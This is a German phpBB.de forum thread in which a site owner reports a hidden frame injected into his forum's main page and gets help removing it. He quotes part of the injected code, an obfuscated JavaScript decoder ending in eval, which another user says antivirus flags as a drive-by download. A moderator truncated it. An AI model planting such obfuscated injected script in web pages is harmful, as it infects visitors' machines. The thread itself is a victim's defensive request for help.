HILFE! Wurde mein Forum GEHACKED?

cesare2008 · Beitrag von **cesare2008** » 06.01.2009 22:11

Habe vor einigen Minuten oben links auf der Hauptseite unseres Forums eine verdächtiges leeres, weisses Frame gefunden. Ich glaube unser Forum wurde gehacked! An den Sourcen wurden seit über 1 Monat nichts geändert. Ich glaube jemand hat unser Forum irgendwie mit diesem Frame infiziert!!!

Werft einen Blick drauf: http://forum.naturheilpraxis-gehrig.ch/

Ich brauche DRINGED Hilfe. Wie kann ich mir da sicher sein? Was soll ich tun? Hat mir jemand einen Ratschlag?

Bin dankbar für jede Hilfe.

Besten Dank.
Cesare

chris1278 · Beitrag von **chris1278** » 06.01.2009 22:14

hast du zuvor vieleicht versucht ein mod zu installieren. weil sieht mir danach aus das da was schief gegangen ist.

ist das bei dem style subsilver2 auch so oder nur bei prosilver?

cesare2008 · Beitrag von **cesare2008** » 06.01.2009 22:17

nein NICHTS. es wurde in den letzten 2 Wochen nichts verändert. überhaupt nichts...

chris1278 · Beitrag von **chris1278** » 06.01.2009 22:19

wie sieht das aus ist das bei anderen styles auch so oder forenansichten usw.

hi ich hab mich mal bei dir im forum registriert. geh doch mal grad bei dir im adminbereich unter styles und installiere den style subsilver2. weil wenn das mit dem style funktioniert können wir das problem eingrenzen.

cesare2008 · Beitrag von **cesare2008** » 06.01.2009 22:21

ist nur die hauptseite betroffen. schau mal: http://forum.naturheilpraxis-gehrig.ch/

der code dieses frames sieht mir sehr verdächtig aus...:

<html><body><div style="display:none;" id="yem0YW6XBDX4iI">Um'+'6BZAMCbkr4_G1eG'+'QIDJuLeVG1'+'BlQIg0G@Bd8feGk2yaX'+'a4'+'OFIPtx'+'6eUO2yb'+'p6ilmaCG'+'mfyUUb'+'4OT'+'I'+'y9daP'+'3'+'kIPQALnE5MC3EIeGALnEWby8AMCJmbyU'+'Qb'+'ydd'+'Yc'+'7'+'XzeVG'+'1Bl'+'QbcJqa'+'R</div><script>function HzrUlu(haWcAPybE6GwLI){return String["f"+"rom"+"Ch"+"ar"+"Code"](haWcAPybE6GwLI);}</script><script>function rB7II(xfGYR9F7KNBAO3)

[Teile des Codes entfernt - Dr.Death]

ah++){iEfNdatLQo7=iEfNdatLQo7.replace("'+'","");}eval(rB7II(iEfNdatLQo7));</script></body></html>

chris1278 · Beitrag von **chris1278** » 06.01.2009 22:27

hab schon gesehen. was ich aber wissen wollte damit ob das an den grund dateien liegt odewr an den style dateien. deswegen geh mal bitte bei deinem forum hin im admin bereich und installiere mal den subsilver2 style zum vergleich

Bones van Helghast · Beitrag von **Bones van Helghast** » 06.01.2009 22:28

Achtung!!! Dies ist ein Virus bzw ein autostart download! mein Norton hat es gerade bestätigt! Screenshots liegen bei

http://wkhost.webkicks.de/firstchat/son ... arnung.png

http://wkhost.webkicks.de/firstchat/son ... rnung2.png

chris1278 · Beitrag von **chris1278** » 06.01.2009 22:30

ja das löst aber immer noch nicht das problem wo genau der defniert ist. also wenn du das mal mit dem subsilver machen könntest könnte ich das vieleicht eingrenzen.

EDIT:na gut wenns meine hilfe net willst dann must halt zusehen wie du klar kommst.

cesare2008 · Beitrag von **cesare2008** » 07.01.2009 00:01

sorry chris. war voll mit bekämpfen dieser schweinerei beschäftigt. das infiltriete iframe ist jetzt aus der index.php entfernt worden. alle passwörter geändert. rootkit und antivirus detection auf allen potentiell infizierten computer durchgeführt.

puuh. jetzt sollte alles wieder sauber sein.

DANKE für euere hilfe und hinweise.

gruss cesare

chris1278 · Beitrag von **chris1278** » 07.01.2009 00:02

wars denn jetzt wenigstens der code den du oberhalb gepostet hast.

phpBB.de

HILFE! Wurde mein Forum GEHACKED?

HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?

Re: HILFE! Wurde mein Forum GEHACKED?